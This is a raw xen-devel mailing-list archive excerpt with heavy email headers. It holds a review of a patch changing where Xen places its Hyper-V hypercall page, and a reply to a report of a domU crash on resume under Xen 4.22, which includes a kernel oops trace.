 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65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2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260716183502.21075-1-ariadne@ariadne.space>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0191.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:311::19) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|DS7PR03MB5445:EE_
X-MS-Office365-Filtering-Correlation-Id: ca752946-4b34-4d01-6ca5-08dee414bb7a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|6133799003|56012099006|10067099003|5023799004|11063799006|22082099003|18002099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	kH7bxWrutXJcOAVy69yDPyYb/P7pBZszGIe0FQeA+gLRojf0DNfrDyEvlsncJNRJtJiDkHgs34mJz+65CvYCdjiKkaEK2r7uFMWUM9Xk39s1EAtpV8MPFLj/NcXftG3MdHNf23NDcMz7TTe/fluM0Chq0LicRB1Xg+Q3XB8gaFTMjBfnNg4REiVAm1qvyciYOYHBSghg+Bo5xObUU+ITtfW6zFxsJjyGj0/MFB6XVSY/aSkCxWRuqBD/ESDuK1LcXDHHtN8kNjlj3acAEYIGTSpnOl/qMIBwjxgFThpIlWKUADkWgOtVBSbK8mdJ/REULngZY8yHHtt5HpO1OUI1deuoBfM0tAPs00pZP/UIYLTEtT8A80yzdcUtUA1iZMW05jMbLMxo4u/NFp3+67IoVSqKMQCUtg+CAw9gcGf5e4R1Jsd4MU1JWmo+ROUKz/Ae6EC7GoFMTWL1qxbW7ZQ+ROI3MispVR4FjkcRapLtlBGTMxQflRWS9fgYx0VSdH/KBfaptD7Mm8duJLoVKVeWUZ/qq6OwjTx/z8AlzdWOywB4RepJCrVOAQH9kgSKuZ43fOctEhhWysro6FquNBsH8eCW8Le4FIzVQRQKJ3mkY4o8RriE53JJnO7ZyLB7J/nz3HsG+S9PDHeLbaelpkzvIlwsVysJpjDcldgplNBiuQI=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(6133799003)(56012099006)(10067099003)(5023799004)(11063799006)(22082099003)(18002099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?endGWHhhdXpGNmJXQTlOT3U4bWdJenZteUdPZmVNei9hdnc5aEhMcmppZUMy?=
 =?utf-8?B?Y3FnNUdqVGg0bUY3djc2L2dCaStrcWNBZGpHQlJYSklFWTFlU3ZtR1RDNlFV?=
 =?utf-8?B?bDRyNHFYaU5IUFN2eno1c3Y0Tk9uK2xnckN3NllHZlRxNG00SzB3VHR1WkF4?=
 =?utf-8?B?aGRwalFVTHBIZFNkSmlKclFjNlZKRm5sdjRVZ3FMM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wT1BmSkhxdVd5K2c2Wk1wWXVUYlk0?=
 =?utf-8?B?ak9xMnhmYkdBa1c2MjlLOWdKSDNRblNWdkNMVVZLemhJNk8xYmRBT1BsL1Qw?=
 =?utf-8?B?eVZ6OXpvNlJJZmZnbEFJRnNHMVBwRXJTTlBkSDZxVUhPMzdiNlJ6V3Izek5V?=
 =?utf-8?B?NitNYVAwQjF3V2lwVkRIUFM2dWRWdFM4Y3lSdkZjUkF5c1J5Njd4cHZCUUtZ?=
 =?utf-8?B?Y3VJZlhZYzZOMlZrY0Q5U0RzSWUzUUFJUUUxb1A1TVd3SkExV3lYaWxoWVN6?=
 =?utf-8?B?dzhHWUduMm11WlpUWko0M1Y1MmdMUHUrRk1BeTVaQmJHZ05OdE5wNXV0SUtH?=
 =?utf-8?B?cG5wMXVDcktzT2pVNFp4TmNUOG54YzlQR2pjaGRxWm1MMGxxcEhYZEZZQkdy?=
 =?utf-8?Q?3LQX0J3KgR3GpPg8=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ca752946-4b34-4d01-6ca5-08dee414bb7a
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 15:04:42.9937
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: NcpjOjaCk0y+xeXuDOo/ztlSTBR/LrGTqCHjyY4USf2j+xmSjwLtWXMTPCg3ywfVr6uq0MPvJhSx2wgfNlXJbE+H/oWn43cRWLS7uR+P4CU=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS7PR03MB5445
X-purgate-ID: tlsNG-bad1c0/1784300687-3A2C4034-E596C34E/0/0
X-purgate-type: clean
X-purgate-size: 2542

On 16/07/2026 7:35 pm, Ariadne Conill wrote:
> Previously, the Hyper-V guest code placed the hypercall page at a
> fixed, hardcoded location: the top-most MFN of the guest physical
> address space (HV_HCALL_MFN). To make this work, an e820_fixup hook
> reserved that range as E820_RESERVED so nothing else would claim it.
>
> This assumes the top-most physical frame is actually backed by RAM (or
> at least mapped to something), which is not guaranteed. On Azure
> compute guests it is not: the top-most MFN is not physically mapped to
> anything. When we program HV_X64_MSR_HYPERCALL to point at that frame
> and subsequently execute through the hypercall page via the fixmap, the
> access faults and Xen panics during early boot.
>
> Instead of guessing at a physical address, allocate a real xenheap page
> and use its MFN for the hypercall page. This frame is always backed and
> mapped, so the fault no longer occurs. The e820_fixup hook and the
> HV_HCALL_MFN definition are no longer needed and are removed.
>
> Signed-off-by: Ariadne Conill <ariadne@ariadne.space>

This is certainly nicer than before.Â  But, it was intentional to be a
page not backed by RAM, and "out of the way".

IIRC, the Viridian hypercall page is described as an overlay which comes
into place, and shadows whatever is behind it.Â  It is also mapped
read-only which means it will shatter superpages (hence putting it "out
of the way"), and yield's #GP when trying to write to it (this is not so
easy to achieve, so is clearly deliberate).

>From the commit message, you seem to be saying that selecting a page
which isn't actually RAM doesn't appear to work?Â  What fault precisely
do you get?

> ---
>  xen/arch/x86/guest/hyperv/hyperv.c      | 19 +++++++++----------
>  xen/arch/x86/include/asm/guest/hyperv.h |  3 ---
>  2 files changed, 9 insertions(+), 13 deletions(-)
>
> diff --git a/xen/arch/x86/guest/hyperv/hyperv.c b/xen/arch/x86/guest/hyperv/hyperv.c
> index 90757e0793..d98d02fb80 100644
> --- a/xen/arch/x86/guest/hyperv/hyperv.c
> +++ b/xen/arch/x86/guest/hyperv/hyperv.c
> @@ -99,10 +99,18 @@ static void __init setup_hypercall_page(void)
>      rdmsrl(HV_X64_MSR_HYPERCALL, hypercall_msr.as_uint64);
>      if ( !hypercall_msr.enable )
>      {
> -        mfn = HV_HCALL_MFN;
> +        void *hcall_page = alloc_xenheap_page();

We never access the page via it's main alias.Â  We configure FIXMAP_X to
point at it.

So I think this is safe to be domheap page not a xenheap page.

~Andrew


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 20:23:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 20:23:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365180.1615823 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkp5M-0006x4-Im; Fri, 17 Jul 2026 20:23:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365180.1615823; Fri, 17 Jul 2026 20:23:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkp5M-0006ww-CY; Fri, 17 Jul 2026 20:23:04 +0000
Received: by outflank-mailman (input) for mailman id 1365180;
 Fri, 17 Jul 2026 20:23:02 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wkp5K-0006wq-8S
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 20:23:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkp5J-00AUhC-LE
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 22:23:01 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5a8f25-bab6-0a2a0a5309dd-0a2a45039276-2
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:23:01 +0200
Received: from [209.85.128.175] (helo=mail-yw1-f175.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5a8f24-fae8-0a2a45030019-d15580afe0ae-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:23:01 +0200
Received: by mail-yw1-f175.google.com with SMTP id
 00721157ae682-80814edb536so51633967b3.2
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 13:23:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784319780; cv=none;
        d=google.com; s=arc-20260327;
        b=M+bDxLB3GaTX/panvxPWSaa3wTcJt3EB76unN6H+lZF6EzAOkyIltmqQYMRzyoY/G4
         w3WhQZ0FWtNDabuNuIZwOmmN+cZpFuQtt1Cz7byGoxX0Asc579pCgSM6Aou5Rur3g9LB
         t1e8ZpukoTSp29dzyLdWWSnQaM0nsMrnZHmE9eLmdHaq6hLD2VJC/EcHDDGq4GK1HcI+
         MdBbenxkQuUioE4/SC+MSZABF60Z4wce2/L1OiEUz0mxC+iAZe2DTIIMSXof9qk9Jo0x
         N6Q+9sB4viHl7FxcvMhq8VbwcmMmNmGxFc9poPKyQ4DosLtFuJqi3AaKMang/2dThV0t
         um6Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=+MM+mHW7dNH075ZwhWIZVYA9nHOq7CloauT16szj+6s=;
        fh=mIDWfUsqppc0bUwSrD1+fljqRLCHlr9feJ1oOM8RcV8=;
        b=lE1FthDwNS8RYnH48qo1+Uv/Jfuk5uT6TZfW5BlBuxZsakPZN8/DcEdBaDbA33wDFR
         6Ss0g6Xb/I/l+a5Mj9PG3P9F98vvPkfIMRvhHQjTCCJxgw0wuIi3l3our6VYP23nqSuD
         qu8AxlWO8k2gXNFOM2qNo4tOc91VknalKUHW7tZ1MlPxfkBPpd7uShbZxpZQ2XgOHSg8
         1ENqgaWYnLmijmpER/LzaUpTTLzBCLMDiDZt9k2c9KfjwCxYRyzqIpoI47pgFIzxEBY5
         BCpDVWoxMg7eot/jTeQfsN5JAU22CwGCIjzhfH/97xHXBheO5eW1si/+nGwJOSCTlXqu
         lUsg==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784319780; x=1784924580; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=+MM+mHW7dNH075ZwhWIZVYA9nHOq7CloauT16szj+6s=;
        b=mWli3qwsYoINZ3ZFIYE3m9RkW9of7KOrJY2JkQr9A8dy1kqcYzJ53uwBsKNSgEGy7y
         aRJ6eJoL/P6fjGONv/Xu5bFKyz560JfBXmVPe4CNAXEEAdALxTwf2DDA4ogYz6Wt/Crj
         K1TkltIonAe/GH/EOwFAwllfksshBx4BvLr431PFZ/Jft5iJGqtKoWFRv2Td1qkynNTr
         EynGxbXAHntbP/a10Oyx+WGScYgumljcTa7aMNrqV3LjrQE21+/yF7aMxLwTWGBAQr0C
         /K2GtMfl0t34x61iPxEQWndpSWGjtUWtqyQpr5lCDLtH4THXgfPrHEJfCDidxiaN2Bpu
         WmUQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784319780; x=1784924580;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+MM+mHW7dNH075ZwhWIZVYA9nHOq7CloauT16szj+6s=;
        b=G9uh+DWKUIc8W64BhERq6EiIgyZ71Zc2ZpLXN8gqNLLIQtZr+T0J+XkFLNayLPEnrt
         NgfD6V6Pbd9ii3AbhnHnhMbYNyxC1xa7LkMyg1LPgGx+wGF0M9okqHu9HDlObFWl5mpQ
         0zSxRi5jLBrWg76v+nrDfjMhzVGG6b2BimYpQw6jiNGIczz+61c7m/ySHzpOSmirAVIu
         OEPp1WM1d31u4y9ENqCqn8C8fh0pTjHU+peWPz6JJ1kVr5hc9Th14l4y/Jd1cECeML6S
         q66A9u9Ew/xF9LW+MsJcE5vO86SiXwdeTyUUaRMOc7iWVtx2orlWzECXeznhs9Vj/tYS
         MbGw==
X-Gm-Message-State: AOJu0Yxk8wzS20utShnZpeebnMXYQWaPl+vtw4XoVlXmMr691XUUy0J0
	asEV6XWGkz4wTIiIzFfeolusses5Ktsqp++ppKOnLVJzA/cZbzwaWqmGCuH+V5+dD1hPmysvLFk
	tDfeewFypcc4rwDxatPNG+YBWAot2FeQ=
X-Gm-Gg: AfdE7ck7xO+2SmoKELaA8g3zYkEAR23eE3Wu8kmtj8j/kM87Icf1znqk9eGIr+ZZ1hf
	9tp790lVDRXjWU0JfCLngqIH+mXqsb37QNv1VE7gr8tCkuEcBXuzOOK4UkK3GeffhR+k4N4Bb1G
	TNMwMNkV1DYbOlgHd1vQcwV3d013bmFqBccXvFiIB61MEYWp67VKEv149dqwymmV00sjxSxAjTY
	CVtTAnli/mqplwXimR5xZ3KfC3q9QD9vEn7BqBWeHB0LregJkAoFszwD3XcVfD9iM9ffJosgFgM
	SYL1tvTPbW9pOPNIhA==
X-Received: by 2002:a05:690c:6c01:b0:81e:ba6b:a099 with SMTP id
 00721157ae682-81ef262b90amr14612937b3.60.1784319779988; Fri, 17 Jul 2026
 13:22:59 -0700 (PDT)
MIME-Version: 1.0
References: <ajUm2SQtMD6Y-K9S@mail-itl> <alZt_boT-hJuVlD6@mail-itl>
In-Reply-To: <alZt_boT-hJuVlD6@mail-itl>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Fri, 17 Jul 2026 21:22:47 +0100
X-Gm-Features: AUfX_myLV60zgTm9GGSEQi9CVxhoqCTqIB63RgwvFxBuwpvHTHzPJIYTQLwAXac
Message-ID: <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
To: =?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-33051d/1784319781-766FB4E9-97D1FF36/0/0
X-purgate-type: clean
X-purgate-size: 5124

On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
<marmarek@invisiblethingslab.com> wrote:
>
> On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=C3=B3recki=
 wrote:
> > Hi,
> >
> > I'm continuing testing 4.22 and found this:
> >
> > When a domU is suspended (even without host suspend) it crashes on
> > resume with:
> >
> >     [   24.374629] BUG: kernel NULL pointer dereference, address: 00000=
00000000020
> >     [   24.374647] #PF: supervisor read access in kernel mode
> >     [   24.374657] #PF: error_code(0x0000) - not-present page
> >     [   24.374668] PGD 0 P4D 0
> >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not tainted =
6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_cpus.con=
stprop.0+0x6f/0xb0
> >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00 0=
0 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b 7=
5 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
> >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 000=
0000000000404
> >     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 000=
0000000770ef0
> >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 R09: fff=
fc900000abc8c
> >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: fff=
fffff81835ac0
> >     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 R15: 000=
0000000000000
> >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b369000(0000=
) knlGS:0000000000000000
> >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 000=
0000000770ef0
> >     [   24.374873] PKRU: 00000000
> >     [   24.374877] Call Trace:
> >     [   24.374884]  <TASK>
> >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> >     [   24.374925]  kthread+0xfc/0x240
> >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> >     [   24.374949]  ret_from_fork+0x158/0x170
> >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> >     [   24.374973]  </TASK>
> >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer snd_seq=
 snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xenfs binf=
mt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nf_=
conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_rapl=
_common intel_uncore_frequency_common intel_pmc_ssram_telemetry intel_vsec =
polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gntdev xen=
_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables overlay xen_=
blkfront
> >     [   24.375064] CR2: 0000000000000020
> >     [   24.375071] ---[ end trace 0000000000000000 ]---
> >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00 0=
0 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b 7=
5 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
> >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 000=
0000000000404
> >     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 000=
0000000770ef0
> >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 R09: fff=
fc900000abc8c
> >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: fff=
fffff81835ac0
> >     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 R15: 000=
0000000000000
> >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b369000(0000=
) knlGS:0000000000000000
> >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 000=
0000000770ef0
> >     [   24.375241] PKRU: 00000000
> >     [   24.375247] Kernel panic - not syncing: Fatal exception
> >     [   25.417403] Shutting down cpus with NMI
> >     [   25.417447] Kernel Offset: disabled
> >
> > There is no change on the Linux kernel side (neither dom0 nor domU), th=
e
> > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be already
> > broken on -rc1 too). This happens for both HVM and PVH domains. Haven't
> > tried PV domU (but dom0 survives host suspend).
>
> Any ideas?
>

Hi,
   not many ideas but while testing my libxenguest changes I found
similar failures using xl create/save/restore. But I was testing more
PV guests.
Does 4.21 work ?

Frediano


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 22:01:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 22:01:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365226.1615831 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkqcm-0003mZ-9r; Fri, 17 Jul 2026 22:01:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365226.1615831; Fri, 17 Jul 2026 22:01:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkqcm-0003mS-7C; Fri, 17 Jul 2026 22:01:40 +0000
Received: by outflank-mailman (input) for mailman id 1365226;
 Fri, 17 Jul 2026 22:01:39 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wkqck-0003mM-Ov
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 22:01:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkqcj-001TDg-NG
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 00:01:37 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5aa627-2eae-0a2a0a5409dd-0a2a4504979c-36
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 00:01:37 +0200
Received: from [40.93.195.64]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5aa63f-b57f-0a2a45040019-285dc3407cc6-4
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 00:01:37 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by SA3PR03MB7467.namprd03.prod.outlook.com (2603:10b6:806:3a1::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 22:01:31 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 22:01:31 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=I4SLedBLp1H5idXtS9vEE5GJcMP0cWdIjmwzCdjvemSJLy1F3mIEw77VOR7th8ksdj8iL2W+kb87QBChfvY0QBTOD8dNRaQ6wPnww1q4ZLwwIdh9Tann1IGICCkPdNFhQckyeYoWTUza7szx0lr7yk/Xurbu/Vlsuf9MU62FBQk4pixAt99i8d3MZFxevE3r0n9yAiV/iUUxoMRrhlROOW+TKG3Ngfsfrzp1toh2T2ixgODKDMZclRi15aNv/GlyqlEnP6m5jBFe2kd+aMD4hOuRYxptZu9S3lsmWF7/OaV61iJWPBgbjombUqeYMXCIZaPa7zDP0mHgarZ9AhHi+g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DcAGbssBhjL3QlF73376wQmBR55BgCaDBNbvcAIYbQA=;
 b=AvD49E8h0uh/E99rhdZGGlGlxOhvVnTG0gwGTQsGWmY47dCO9+HmQE38JEpVal9uLSOLyAz/gKhd0oMHkFqL7DEVQ+oKpZTN5HcqfdkiPSp7xlherD8qz8vAlQFZJ7JrFNqWVJWYexsKXdkJOJaWQJ1MkZvOkoMmHKSU97rkbNauWsz/m5ZJHZHbde8xOiLwHez3C9knGk5pRoDsyDv0aOxn0fRJ/2A6glHxontiepx+5b0Q1y0wTNRDf6R1pfR3lcqDr1uD/3FePONqXaguiXQq4dVdNB27I1PRJxF2DbpE0duqvUtwqR6tqOJ6ViwxZdhpjsu0YheQUdMS8xRQgQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DcAGbssBhjL3QlF73376wQmBR55BgCaDBNbvcAIYbQA=;
 b=ZDxBJgPRaxLZJn5eGwfWEylkRXdieoteChRnHB4sXErWg3ApVllABRtqjd/lmhNcZSqPYr4uB/Vy6Ov+MuXnm3DVNWW6tp+8Y36nprJh9AeFpXVvJzq59MrFxQtYoH4drP9cY+ckabbsslFDLTlDfoNIWD3zcvZs3L7ceA2u8vo=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
